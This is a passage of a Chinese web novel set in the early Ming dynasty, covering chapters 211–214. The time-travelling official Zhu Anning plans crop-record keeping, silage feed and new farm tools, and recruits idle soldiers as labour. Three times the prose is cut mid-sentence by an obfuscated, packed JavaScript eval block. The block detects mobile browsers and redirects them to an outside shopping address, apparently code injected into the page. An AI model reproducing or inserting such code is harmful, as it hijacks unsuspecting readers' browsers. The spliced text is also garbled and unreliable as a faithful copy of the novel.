又是让朱安宁一阵无语,只能连连摆手。 燕晓柳跟得很紧,他讪笑了两声。 “朱爷,你这田种得这么好,说的话能有假?而且李千户之前也和我说过了,土豆番薯玉米都是他们试种过的了,产量极高……哦,玉米应该差些。” “这他都和你说了?你挺混得开嘛。” “之前和九江……呃,李千户也还算熟悉,他也觉得这不是什么秘密,便和我讲了。” “确实,这算不得什么秘密,但是没有种出来,总归是只有我们会信,这江宁屯啊,就是用了种给大伙看的。” “那我们的地呢?我们也种番薯土豆么?”燕晓柳有点跃跃欲试的样子。 而他却看到朱安宁摇了摇头。 他把工具随手放到地上。 看向了远处已经开的差不多的田。 知道是时候开始挖渠,然后播种了。 “我们詹事府负责的地,种水稻,种玉米,种辣椒,种西红柿,种番薯,种土豆……什么都要种!” “啊?” 朱安宁报菜谱似地念出了一大串作物,把燕晓柳惊了惊。 他一脸疑惑地看向了自己的主官。 “你们是读过书的,我找你们来耕田,不是真的就仅仅是耕田,你们需要一边种,一边给我给事无巨细地记录作物的生长过程,能理解?” “……”燕晓柳一时间没有回话。 朱安宁便继续说了下去。 “我永乐庄的地能高产,那仅仅是永乐庄的高产,我想得可是整个大明,都高产啊,那谁去教各地的人种田?总不能是我巡回各地吧,我巡到死,估计也巡不完。” “所以您的意思是记录成册?但是这指导用的农书,詹事府就收录有,各地也都有使用……” “那些太旧了,我们要的是新的东西。你们记录成书,让各地的人都可以去学去看,这才是正路!” 朱安宁说完,也没等燕晓柳回话,他伸了个懒腰:“我去找找燕王和周王,你们先休息吧。 ” 撂下话语,朱安宁是转身就往江宁屯的驻地走去。 这里已经快速建起了木屋,虽然没有朱安宁的小院那么考究,但是总归也是可以住人,待客的那种。 朱安宁招呼都没打就走了进去。 看到的自然是顶着黑眼圈的朱橚,还有李景隆。 至于刘廌和刘畾,他倒是没看到。 “先生。” “先生。” 两人见着朱安宁进来,那是连忙行礼。 李景隆更是醒目地给朱安宁搬了张椅子。 朱安宁也没有客气,径直坐了下去。 “呼,你们也别这么拼,种田这种事情急不来的。” 他喝下口李景隆递过来的茶,喝完才开的口。 “先生,你是不知道……万亩地可不是小数目……单单把荒地清出来,我们可能都要花几天啊。” “要这么久?我看附近的不都清好了么。” “远处的还没有啊……”李景隆苦涩地回道:“再加上怎么也得通点水渠吧,这么把时间算下来,种的时间就很紧了。” “这个我倒是有点法子,你们等我晚些去铁冶一趟,给你们点新工具就好了。” “先生这你都有法子?”朱橚那是露出了意外的表情,然后很快就是释然:“先生确实是通才。” 通才? 通个屁。 他只是昨晚进一步整理电脑缓存资料的时候,看到了一些农具和生产工具的图片资料。 怎么看也比现在这十四世纪的高级,好用。 他永乐庄铁冶的工匠可都是能人。 要是能让他们把这些工具量产出来,生产力水平是一定可以提升的。 科技的发展和生产力的提高,永远是相辅相成。 “对了,这事不难办,我过来找你们是想问下,你们谁负责做这农事记录啊?陛下和太子应该知晓,这江宁屯只是示范作用,真正要各地去种,得给地方配给人员和农书的啊!” 现在是午休时间,朱安宁身上全是汗液干掉后黏糊糊的感觉,他也想赶紧办完正事回去洗个澡。 朱橚听完朱安宁的话,和李景隆对视了一眼。 然后是露出了无奈的神情。 “应当是让李祺,陆贤,梅殷三人负责的。” “嗯?这名字好熟啊……”朱安宁眉头一皱,然后拍了拍手:“就是这几天在那逛来逛去,找不到活干的三人组?” 对了……这三个家伙还是老朱女婿来着……朱安宁略微贫瘠的历史知识,总算是发挥了些许作用。 “原本是让他们负责记录的,但是……现在我们不是还没开始种么?” 没有开始种,就让三个优质的劳动力在那瞎逛。 朱安宁摇了摇头,只觉得朱橚这个封建帝王家的皇子,真就是一点资本家的素质都没有。 “怎么,你心疼你的姐姐妹妹,不舍得让他们的丈夫干活?”朱安宁笑嘻嘻地讥讽了两声。 却也是让朱橚微微红了下脸。 他确实是有这样的想法,毕竟是自己姐夫妹夫嘛。 总不能太过为难他们。 倒是姐姐和妹妹来找自己,自己怎么回嘛。 “行了行了,反正都是要记录,你让他们三来我负责的田那里,我带的詹事府的人也是要学做记录的,他们一并学了就算了。” “这……”朱橚有些犹豫。 毕竟詹事府的人,虽然说精神状态还可以,但是却是一副惨兮兮的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378815|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有点怕他姐夫妹夫去了那里被折腾。 “放心吧,我又不会虐待他们。”朱安宁看出了朱橚的犹豫。 “那好吧……下午我就让他们过去。对了先生,永乐庄也要开始种番薯和土豆了吧,这么多地一起种,肥料是否足够?” “早就备好了,倒是周王您一手给钱,我一手交货。”说起肥料,朱安宁那是眉飞色舞。 他赚了钱,这大明的土地能有更高的产量,不是双赢么! winwin啊。 “那就行,肥料才是高产的关键啊。”朱橚松了口气。 “那是自然。”朱安宁也点了点头。 不愧是自己教出来的人。 肥料就是高产的关键,古代现代都是如此。 在现代经常会说什么肥料不好,全是扯淡。 没有肥料,没有好的种粮,我们国家怎么以这么点耕地养活十几亿人。 “除了肥料,倒是我还能卖点牛羊的饲料,就是不知道燕王这边有没有这个需要了?” “饲料?”李景隆是坐在那疑惑了出声。 “我看到今天你这江宁屯已经拉了不少牛进来了,这些牛总得吃喝吧。” “放养就好啦……”朱橚说得理所当然,李景隆也是点了点头。 “哎……我就知道你们会这么说,你们有没想过,如果能养活更多的牛,就可以耕更多的田,一头牛顶一个青壮,那是轻轻松松的啊。但是牛多了,是没法放养的。” “总不能让牛吃马的草料吧……这可不行,先生,马比牛金贵多了。” “我知道,所以我说我能弄出牛羊马都可以吃 的饲料,你们觉得,这事重不重要。” “马也能吃?”朱橚是一下就站了起来:“先生,这可开不得玩笑。” “我是喜欢开玩笑的人么?”朱安宁又喝了口茶。 朱橚和李景隆对视了一眼。 然后朱橚才回道:“大明的养马地,比起宋时,虽然是好了许多,但是依旧是不及元人,如果先生能解决马草料问题,那自然是极其重要的事情啊!” “哈哈,你们啊,果然都是只想到了马,我想的可就俗多了,草料多了,就能养更多的牛,你们说未来会不会,咱们都能随便吃上牛肉呢?” “吃牛肉……这可……”李景隆那是顿了顿,说道:“不太好的事情,先生可莫要往外面讲。” 古代牛是极其重要的物资,就算是王公贵族也不会说闲的没事就吃牛肉。 所以朱安宁这话,可算是把两人震撼了一把。 “哎,我不吃牛肉,我吃羊肉总可以了吧,我准备做的草料叫青贮,最近收成的稻杆和院子里的玉米杆,我都已经收起来了,晚些就开始制作,到时试一试牛羊马吃不吃便知道好不好用了。” “先生,这事大哥和父皇……知道么?” “暂时未说,等我们搞出来再报上去吧,这事我把握不算特别大。” 朱安宁沉思了下,是说得直接。 他过来和朱橚说这件事情,是想要壮丁。 他可不想事事都跑去找朱标和朱元璋。 青贮最原始的方法是地洞,所以他需要人手。 而现在这里人手最多的就是朱橚和李景隆了。 他们点头,朱安宁才有人用。 “你能不能抽调点人来,帮我挖地洞。” 绕来绕去,这事还是得开口。 朱橚听完后,却是露出了苦笑。 “先生,方才已经说了,我们人手也不够……” “啧……这事有点难办啊,这样,我想去帮你搞定农具吧……有了好农具你们干活也快点。” 朱安宁是立马起身,不想再拖。 青贮就是突出个青字。 若是拖太久,稻杆和玉米杆的营养成分会流失很多。 他只能说,赶紧先打印出那些工具的图纸,看看工匠们能不能造出来。 再让朱橚试试是否好用。 好用的话,怎么地也要给自己匀人手了吧。 这般想着,朱安宁是风风火火地跑到了屋外。 朱橚和李景隆,都来不及起身去送。 “九江,你说这青贮是不是真的能代替草料啊?” “我也不知……但是先生说能,那便是能吧。” “可惜……我们这边实在是抽不出人手了。” 第二百一十二章 换套衣服给爷看看 朱橚和李景隆,都算是含着金钥匙出身。 哪知道草饲的重要性。 他们只当这东西可以养牛养马养羊,那山上的草也可以啊…… 这也算是他们的认知极限了。 换做朱棣这种有能力的藩王,或者朱元璋朱标等人知道这件事,怕不是马上就让朱安宁给他们就地挖地窖赶紧做出来试试了。 而幸好朱橚还算有点脑子。 虽然朱安宁说不必上报先。 他还是留了个心眼,托人带话给他大哥朱标去了。 当然,这事,朱安宁是毫不知情的。 他正在铁冶和那几个主簿干架。 “干不了,说什么也干不了,朱大人,你别当赵大人不在这里你就是这铁冶的主人!” 那王主簿是直接把手中的本子摔到了地上,一副气得脑淤血的样子。 而被怼的朱安宁却也是尴尬得很。 因为他也知道……这好像是有点强人所难了。 “老王老王消消气……那个朱大人,您也知道,我们这炉子都快要烧炸了也就堪堪满足了陛下要求的火绳枪产量……前几日燕王过来,又加了燧发枪的研制……我们……我们真的没空了啊,这农具……让我们产农具,这不是胡闹么。”黄主簿是弯腰捡起了地上的本子,拍了拍,一副很是为难的样子。 朱安宁听着也是有些讪讪,总不能回别人,难办就别办了吧。 他又不是乌蝇哥。 “哎,王主簿,黄主簿,我这不是为难你们啊,是江宁所那边进度太慢了,我看了……他们的农具确实不大行,我这里有好东西,你们不信给工匠们看看?” 朱安宁扬了扬手中的开工天物,冶铸,锤锻篇。 有些急切的样子。 “干不了干不了。” “诶我跟你们还真就说不清了,让我进去,我去找李工匠他们,他们才是懂行了。” “朱大人你就去吧,你就去逼死他们我们也干不完那么多活!” 朱安宁背后,还有人在那骂骂咧咧,一副豁出去的样子。 “哎老王你少说两句吧……” 而后,他又听到了黄主簿在那劝慰。 “李工匠……” 朱安宁也就是忍着骂,硬是走了进去。 而后,他也懵逼了。 一群乞丐似的人,蹲在那里。 不知道在那看什么。 他只听见了有人神神叨叨地在那喊。 “诶嘿,火星子出来了,真的出来了!” “这弹片可以,力道够,也回弹了!” “这机关甚是巧妙甚是巧妙。” “那火药仓需要的也得是好铁才行啊,不然不得炸啊。” “火绳枪的火药仓应该就够。” 几人在那快速地说着话。 拿着开工天物的朱安宁那是直接楞在了那里。 他算是看清楚了这几个微微有点散发酸味的人。 正是他要找的工匠们,还有一个连着好几日都没有看见的人……朱棣。 几人不仅灰头土脸,蓬头垢面,更是一副神经质的样子在那嘿嘿笑着。 人人都是两排大牙,混在漆黑的脸上,有种看惊悚片的感觉…… 而几人这时总算也是看到了朱安宁的到来,朱棣是吃力地撑起了自己的身子,然后咧嘴对朱安宁笑了起来。 “朱哥,这燧发枪,好像要成了啊!李工匠敲的铁片,够用,我们反复试过了,回弹几百次是没问题的,多了就不行了。” “你们这几天都是在这捣鼓这东西?” “不然呢?”朱棣是说得理所当然。 “还真被你们捣鼓出来了?” “不太清楚,但是可以试一试。” “你们确定不会炸膛?” “怎么什么都炸膛。”那李工匠皱着眉头插了句嘴:“咱们的铁都是好铁,这燧发枪和火绳枪也就是点火方式有区别,火绳枪炸不了,燧发枪一样炸不了,现在我们担心的是能否每次都击发成功而已……” 他碎碎念着,几人又是开始商量了起来。 只有朱棣还在和朱安宁说话。 “朱哥,这可真是不得了的东西啊,得尽快做出来得尽快做出来……” 看着有些魔怔的朱棣,朱安宁连忙打断了他。 “那火绳枪呢?你们停下来不做了?” “没有啊,我让黄主簿和王主簿把其他地方的工匠也都调过来了,火绳枪我们已经相对成熟,这东西是不能舍弃的,毕竟比起火门枪要好用得多!” “你是逼着黄主簿和王主簿调人的吧?!”朱安宁是一脸大无语,他总算知道自己为什么会被怼一顿了。 “这哪能叫逼了,我这叫……嗯,叫好言相劝。” “别人做不到你就喊打喊杀是吧。” “那可没有,您说过的,素质素质,我很有素质。”朱棣讪笑着说出了他之前跟着朱安宁学的词。 “素质这种词你也配用……”朱安宁是长长地叹了口气:“有没工匠有空的,帮我看看这几套农具,是否合适。” “没空。”朱棣头晃得跟个拨浪鼓似的。 “都在忙。”他又补了句:“朱哥你没什么事的话,就先回去吧,不要在这打扰我们,对了,燧发枪的事,我也托人带口信给父皇和大哥了。” 朱棣挥了挥手,似乎是在下逐客令。 这让朱安宁更是无语。 好家伙,不愧是永乐大帝,这时候就给自己霸气侧漏了是吧。 朱安宁正想说些什么。 却发现朱棣已经不理他,他又蹲了下去……和那群散发着点点酸味的工匠们……混在了一起。 他只能尴尬地走到了外面。 看着自己的小院,是一阵沉默。 那黄主簿见状,也是叹着气走了过来。 “朱大人,您也看到里面现在的情况了吧……” 朱安宁看着对方这一脸苦相,又看了眼蹲在那里吹胡子瞪眼的王主簿,总算是知晓了他们为什么会是这个态度。 “他们这个样子多少天了……” “您那日走后,他们便是一直这个样子。” “没有影响火绳枪的制作吧……上面怪罪下来,要出事……” “我们几个主簿,调了其他地方的工匠过来,勉强无事。”黄主簿摇了摇头,又是一声叹息。 他觉得来了永乐庄后,确实见识到了很多新玩意,自家主官好像也有了发迹的迹象。 但是这地方的工作强度也太大了吧…… 好些日子他们都不必点卯,因为就是在这里过的夜,为了让他们方便休息,库房边上还建了一排简易木屋。 “那那些工匠本来负责的事项呢?” “那就只能让各司的人自己想办法了……”黄主簿嘴上说得无赖至极,实际则是苦笑连连。 朱安宁也是一阵沉默,半晌过后他才开口。 “你们……大概也是被同僚骂狠了吧……” “朱大人您能体谅我们就好……” “我……这东西我另寻他法吧,你们……你们顾好自己就行。” “谢过朱大人。” 朱安宁已经不敢再看着铁冶主簿们可怜兮兮的样子,那是逃难似地跑回了自己的小院里。 一壶冷茶下肚,学着黄主簿的样子,深深地叹了口气。 “科技水平不高,好得是靠人力堆,去哪要人嘛。” 他在那摇头晃脑。 成梁却也刚好带着姬友命回到院子里。 那姬友命的伤看似不太严重,实际那也确实是不太严重。 他现在肯定也还未完全好,但是撅着屁股跟着成梁干活还是勉强可以的。 成梁一回来,看到朱安宁在那,眼睛那是立马亮了起来。 “朱爷,咱们庄子的庄稼已经开始收成了,大丰收啊!” 他眼里是有光的,本来他就是在那蓝玉家做田地管事的,他能分辨产量高低,也能看得出佃农们的情绪。 这永乐庄的老农们,那基本都是乐翻天的啊。 “确实,朱爷真乃神农下凡,救苦救难啊,我是没见过一亩地能有那么多稻子的!” 姬友命也是一通马屁,但是佩服也是真的。 他之前想着死跟着朱安宁不过是为了保命而已,但是现在看永乐庄村民们对朱安宁的态度,以及朱安宁的形式做派,他是觉得大概是跟对人的了。 如果有口饭吃,谁愿意拼死拼活嘛。 姬友命那是搜肠刮肚又想继续夸上两句。 结果却被朱安宁叫了停。 “收之前就看得出产量高了,成梁,怎么样,我的肥料还是有用的吧。” “真乃神物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378816|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果我大明每一寸土地都能用上,那岂不是年年丰收?!”成梁一时间也是有些激动。 “我们哪来那么多石膏去整这肥料,先让应天府这圈地用上肥料先吧。” “应天府这边我们也卖?不是说只给江宁屯么?”成梁疑惑地问道。 “如果其他田地也愿意用,就卖了便是,不愿意就算了,不强求。” “好,那我改日问问熟悉的地主……农家应该是不会购置的。” “对,找地主就行,想要的就出个赚小钱的价格给他们就行。” “好。” 两人的聊天,姬友命是没有插嘴,他却是听在耳中,若有所思的样子。 “对了,让你们留下来的稻杆都没有乱放吧。” “都按您的要求归置好了。” “行。” 朱安宁确定了最后的事项,那是往后一躺,喝了口茶。 又叹起了气来。 自己庄子能有好收获,那是意料中的事情。 他现在烦的是,去哪农这批农具嘛。 难不成去城里找铁匠? 明朝也是有民铁的,但是这也太费劲了吧。 江宁屯要的农具可不是小数目,而且也不是造一次就好了的,农具是会磨损的啊…… 成梁也是有眼力见的人。 “朱爷是还有烦心事?” “我这边想打些农具,你有熟悉的铁匠么?” “铁匠?外面铁冶帮帮忙不行?”成梁是一愣,觉得这去外面找铁匠多少有点多余,谁都知道现在城里最好的铁匠,大概率就是在永乐庄了。 “ 他们忙不过来了……”朱安宁是摇了摇头,不由得想起了酸臭的工匠,和怒目而视的主簿…… 那地方现在应该是加班地狱吧。 现代社畜过来看到都怕的地方。 007的福报铁冶。 “那……”成梁陷入了沉思。 而一边久久未发声的姬友命却忽然提了嘴让朱安宁和成梁都无比惊讶的话语。 “咱们庄里是有铁匠的啊。” 这话在院子里,回荡。 是把朱安宁和成梁干了个懵逼。 “不是……姬友命,这事你可别给我开玩笑啊。”朱安宁是皱起了眉头,他只觉得是不是这个江湖中人,在那蒙骗自己。 “不是啊朱爷,庄里真有啊,那柳家和胡家,以前都是铁匠,只不过逃难过来这里,不得已才种田的而已。” “不是……咱大明不是有户籍的么,他们是铁匠没入匠籍?” “就是农闲时帮忙修补农具的那种天降。”姬友命连忙补了句。 “诶,你怎么知道的,我和成梁在庄里这么久了,都不知道这件事!” “嘿嘿,这不是成管事带我认识了不少人嘛,咱以前是做什么的您又不是不知道,想摸清几个百姓的来历,那是简简单单,和他们聊聊就一清二楚啦。”姬友命笑了笑,对自己的职业素养很是自豪的样子。 朱安宁则还是一副震惊的表情。 他意外地看着姬友命。 脑海中飘过一个想法:“这哥们,怕不是也真的是个人才啊,聊聊就能搞清楚人家的背景,虽然有农夫戒心不高这个理由在,但依旧很是厉害,放现代高低是个金牌销售吧。” 朱安宁又打量了一下这姬友命,也是发现了这小子,其实长得还算顺眼,拾掇拾掇,好像也是人模狗样的啊。 姬友命哪能知道朱安宁的想法。 那是被朱安宁盯得头皮发麻,心里想的是那不成这朱爷有些奇怪的爱好。 这种事情他可是拒绝的啊,什么都能卖,沟子可不行,大明百姓还是有底线的…… “成梁!”朱安宁突然唤了声。 在一边站着的成梁那是连忙应了声。 然后朱安宁继续说了下去。 “你有没合适的衣服,给这姬友命一套,收拾收拾一下,别穿这么磕碜。” 这无由头的话,是让成梁一阵发蒙。 但是姬友命,就不止是发蒙了。 他是脸色铁青了起来。 “有的。” “有就给他一套,让爷看看他合适不合适。”朱安宁嘿嘿笑了起来。 在姬友命眼中,像极了那些……奇怪的老爷。 于是,他的脸,变得更青。 第二百一十三章 卖沟子的和眼瞎的 姬有命被迫换了一身衣服出来。 “转两圈?” “……” “干嘛……屁股痛转不动?行,我转……” 朱安宁围着姬有命转了几圈。让姬有命是一阵头皮发麻。 他远远就听到了朱安宁和成梁在那窃窃私语。 隐约听到的是朱安宁在那说什么你怎么看之类的话。 只见那成管事是愣了愣,然后两眼冒光地也开始死盯着自己,嘴巴里说出来的是我看行,能卖之类的话。 “卖???”他惊叫出声。 却也是没能阻止远处的朱安宁和成梁继续摸着下巴,一边点头,一边嘿嘿笑了两声。 “肥料本来我是想着我们自己用就行了,现在你看这小子,好像很能说会道啊,拾掇拾掇,也算是个人,你觉得你能带着他把这生意做出去么?你应该认识不少地主。” “朱爷,您的意思是,我可以带他去卖?” “卖……呃,不要说得那么奇怪,我们卖的是正经东西,你带着他,让他试试呗,如果可行的话,后面我这里想卖的东西可太多了呀。” 朱安宁啧啧了两声,想的是今天总算有件好事了。 现在卖肥料,未来能不能卖青贮等东西呢。 好的销售可不好找。 成梁本来也还将就,但是他比起运营线条,更像是后端的生产经理,哼哧哼哧。 “再不济,这小子应该也能帮忙熟络下周边的地主吧。” 朱安宁拍了板继续说道:“成梁,我给你钱银,你两试试看能不能做几笔买卖出来!” 这话说得不大声,但是却还是让成梁心中一喜。朱安宁有了开创生意的想法,他是万分欢迎的。 “是!” “当然了,不管是现在的肥料,还是未来的东西,我们都需要优先供应给朝廷!” “明白。” 两人是相视一笑。 落在姬有命眼中,那就是完全不一样的样子了。 “朱爷……成管事……使不得啊,我……我这没卖过啊,我……我不擅长这个啊。” 他说得磕磕绊绊。 “没卖过?喔对,你以前当贼的,不过你这能力,卖那是一回生二回熟,对了你成管事还算有经验,你跟着他卖便是,怎么这么紧张?” “啊?成管事也卖?” 姬有命是惊叫出声。 “不是,小姬啊,就是我没空,我有空我也去卖,让你看看什么叫高端销售。” 朱安宁背着手,一副骚包样。 姬有命自然听不懂什么叫高端销售。 但是他是听懂了这个院子的人都想卖。 这是个什么地方? 这朱爷究竟是怎么当上官的? 这这…… 姬有命不知道该摆什么表情好。 只能露出比哭还难看的笑容说道:“但是朱爷,成管事,再怎么样,卖勾子也是有碍风化的啊……即便……即便我是贼,也是个不卖身的贼啊。” “卖什么?” 有两人愣了愣。 一副不是很理解姬有命的话的样子。 “卖……卖屁股。就是那种男人和男人?” 空气陷入了诡异的安静之中。 过了不知道多久,院子里终于是响起了朱安宁的爆喝。 “你玛德你才卖勾子,你全家都卖勾子!” 与之而来的,还有姬有命的哀嚎。 “哎哟……屁股,朱爷我的屁股,痛啊!” “还敢说屁股!” “啊~” ________ 收割稻子是一件费时费力的事情。 但是又是让农民们欣喜无比。 大概也算是痛并快乐着吧。 所以当老胡和老柳被叫到朱安宁院外的时候,他们依旧还是笑得灿烂。 “成管事,那个朱爷叫我们干嘛来啊,咱们这地刚收几亩,都还没来得及清点。” “对啊,我第一次见这一亩地能产那么多谷子啊!做梦一样……” 两人还在乐呵着。 成梁则是回了句:“这不都到了么,你们自个问朱爷去罢,我得去找戚叔拿点药。” “药?您受伤了?” “呃……也不是,就是那小姬,他那伤口不慎又出了点问题。” “啊是小姬啊,他怎么这么不小心,啧啧。” 三人说着话,是很快就走到了朱安宁面前。 “来了?”朱安宁是连忙走了过去:“咳咳,那个成梁,你有事就先去忙吧……” “是……” 两人的对话都是有些尴尬。 但是老柳和老胡,却也是没有发现。 毕竟他们还沉浸在丰收的喜悦中。 看着成梁走远,朱安宁是立马回头向两人问道:“听那……呃,那个小姬说,你两以前是铁匠???” 朱安宁也没有拐弯抹角,那是问得相当直接。 只见那老胡和老柳是愣了愣,两人对视了一眼,有点意外。 “朱爷,您哪打听的,我们也就是农闲时打打铁器,算不得真正的铁匠。” “说得说不得不是你们 说了算,来看看我给你们这几个制式,能不能做出来。”朱安宁直接把图纸甩了过去。 那是不抱什么希望的。 毕竟要看懂图纸,少说也得是老铁匠。 他已经想好了,要是两人看不大懂的话,他就要去奏请自己上司了。 总不能耽搁这件事情嘛。 让上面派一个看得懂的铁匠下来,带着老柳和老胡赶紧把这些该死的铁器打出来,加快劳动效率,他朱大资本家已经看不下去了。 这般劳动效率,怎么大搞建设?! 这些垃圾农具,不是拖了劳动者的后腿么。 现在就是他已经通过永乐庄铁冶验证了是可以炼出好铁的,那用上好铁,改下制式,这提高一点劳动效率算一点。 “怎么样,你两能做?” “朱爷,您这农具看起来有点奇特呢,和我们大差不差,但是又有点点不一样。”那老柳看了看,咂巴了下嘴巴,并没有觉得很难办的样子。 不一样? 不一样就对了,隔了两百多年了,能一样么? “朱爷,实话跟您说吧,这东西不管你要什么样式,我们都是敲敲打打而已,手艺虽然是重点,但是更重要的是炉子和铁矿石。” 两人是说得实在,却也是让朱安宁一喜。 这两人不像是菜逼,好像不用向上面求援了啊。 “你们的意思是,如果我能给你们搞定炉子和铁矿石,你们就觉得没问题?” “是这么个理,但是朱爷你要得不急吧?”两人是看着朱安宁的样子有些犹豫。 “急!当然急啊!怎么……你们没空?我给工钱的啊!不是让你们白帮忙的。” “不是……朱爷,你不给我们工钱我们都能帮忙,但是不能是现在嘛……” “啊?”朱安宁先是一愣,然后立马是反应了过来……现在是农忙。 于是他立马痛苦面具起来。 让老柳和老胡是一阵愧疚。 “朱爷,等我们收完,一定来帮你!” 两人也只能把话说到这份上。 “行了行了,没关系的,就算你们说不收成了来帮我,我还能答应不成,哪个轻哪个重我还是拎得清的,先这样吧,你们先回去,若是我想到办法了,再找你们。” “诶……” 两人应了声,也是带着愧疚退下。 毕竟他们都觉得,实在是没能帮到朱安宁的。 但是也像朱安宁所说的那样,没有农民愿意放弃自己种了小半年的粮食。 他们也只能暂且,退下。 朱安宁无语得看了眼天空,真就是觉得,人力资源真是资源啊。 资本家诚不我欺。 如果他现在能多一队身强力壮的年轻人。 那好像很多事情就迎刃而解了啊。 江宁屯的事情,铁冶的事情,农具的事情…… 所以,去哪里要人呢。 思前想后,好像真的只能去找朱大和朱八八了。 一旦开口,又是求人,烦。 朱安宁叹了口气。 只觉得天上的云都很是嘲讽。 太阳又挡不住,晒死个人。 烦躁的他也懒得回院子里午休。 而是越过了铁冶,直接走到了田里,往江宁屯那个方向走去。 反正也是没事干。 他走得并不快。 四周的农田已经收了小半。 到处树荫下都是休息的农夫。 大伙看着自己好地主在这遛弯,自然也是热情地打着招呼。 朱安宁也只能无奈地应对。 倒也不是讨厌他们…… 只是他现在烦啊。 于是,他只能被迫换了条路。 往偏僻的地方走去。 这地方是越走越荒凉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378817|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不知不觉都走到了永乐庄和另一边荒地的边界上。 而让朱安宁有些意外的是,那地方居然出现了军营。 看着还是半永久的那种扎法…… 愣了半晌的他才反应过来。 “呃……是虎贲卫……”幸好四周无人,他讪笑着摇了摇头。 而当他看到那那些健壮的小伙子,正在军营空地哈哈哈地聊天时,他忽然反应了过来。 有空的,健壮的,免费的,自己能指挥得动的年轻人。 我踏马,这不是现成的么。 朱安宁的阴霾情绪,一扫而空,脸上,是换上了笑容。 ———————— 霍总旗和岳总旗,原来被调来这里是多少有点不情不愿的。 虽然说这股情绪不重,但是终归还是有点自己两总旗被发配边疆的感觉。 幸好说自己的主官还是戚祥,虽然莫名其妙又多了个朱指挥佥事,但是总归还是挺戚祥老大的话就好。 一行人来到这江宁屯边驻扎下来后,发现这边生活还真不赖。 每天维持正常的操练…… 完了就是看江宁屯的人挖地。 然后看詹事府的人挖地。 最后看永乐庄的人收水稻…… 这,好像……好像还可以啊。 反正都是戍卫应天……这 里应天郊区也是需要戍卫的嘛。 两人也是很想得开。 而他们手下的人更想得开。 一群人都是军籍。 这作为亲卫,听起来高大上,但是也少了很多立功的机会,那出头之日是没多少的了。 只求说是日子过的舒服点那就行,反正自己的儿子到时也要来顶自己的位置,这看守永乐庄的活,好像也不算太坏。 于是这群人就在这里驻扎了下来。 日子过的是相当潇洒。 他们尤其喜欢在詹事府的人垦地的时候去那边操练。 没别的,就是爱看。 詹事府的人就是突出一个菜,干活不利索,还慢,一群笨手笨脚的文官,虽然体质还算可以,但是还是菜。 这虎贲卫的人就是喜欢过去看笑话。 人类的快乐,基本都是建立在别人的痛苦之上的,这句话不论古今中西,简直就是定律。 詹事府的人也知道天天会有人来笑话他们。 但是也是没法子。 而且朱安宁的一番话,确实也是给了他们一点精神动力。 如果有机会的话,谁愿意一辈子烂在那官衙里面消磨一天又一天呢。 他们都还是年轻人啊。 于是也就只能无视。 偶尔忍不住了,便派燕晓柳过去交涉几句。 霍总旗和岳总旗能做到这个位置,也不是白痴,自然是会答应约束部下。 而后第二天又是循环往复。 今天也是如此,他们结束了所谓早上的操练,故意往江宁屯那边绕去,看到的自然又是詹事府众人出糗的样子,农具都被他们锄飞了几个,还有几个干活干的头晕眼花的,直接就把锄头怼到了泥地的石头上,是一早上就报销了不少农具。 这让这群虎贲卫是乐不可支。 当场是不敢大笑的。 而现在都回到了自己营地,凭什么不能笑。 几个有乐子的大头兵,正拿着武器在那演示詹事府的人是怎么出糗的。 还一个捧哏,一个逗哏,跟唱戏似地,逗得全营在那哈哈大笑。 那岳总旗和霍总旗也是没有阻止。 甚至两人笑得比下面的大头兵还要大声。 两人咬了口饼,喝了口水。 然后余光是一同撇到了,军营边上的身影。 那是差点被饼子噎住。 他们慌忙给下面的人使了个眼神。 而这动作,却也是让下面的人有些许误解。 这是认可自己表演的意思? 于是两个大头兵是更加卖力,在那依依哦哦地学着詹事府人耕田发力的样子。 “嘿,只见这时迟那时快,那东宫官的锄头,是挥得虎虎生风,那叫一个威风凛凛……只是啊。” “只是啊那石头实在没有眼力见。” “它是石头自然是没有眼睛啊。” “所以啊,石头它没有眼力见,没能躲开老爷的锄头啊!” 两人还在那演。 而后,某两人是终于拼死咽下了那口饼大喊。 “你们眼瞎啊!” 第二百一十四章 永乐庄的一小步 一声暴喝定然是没办法完全阻止众人的笑声的。 而当他们看到那个在军营边上的朱安宁时。 一群人才如梦初醒。 然后是一阵慌乱。 特别是那两说相声的大头兵,那是拿着手中的武器,想丢地上又不敢丢。 演小丑的人成了真的小丑,那滑稽效果是爆表的。 可惜现在没什么人敢笑就是了。 官大一级压死人在这里体现得淋漓尽致。 古代军队可不像现代说一群人联合起来就可以排斥空降领导。 这一群人加起来,真要排挤朱安宁这指挥佥事的话,结局肯定不要太惨。 霍总旗和岳总旗心里是一清二楚的。 更何况这朱佥事也是相当好相处,他们才没什么抗拒之心。 只是说……今天这可是出问题了。 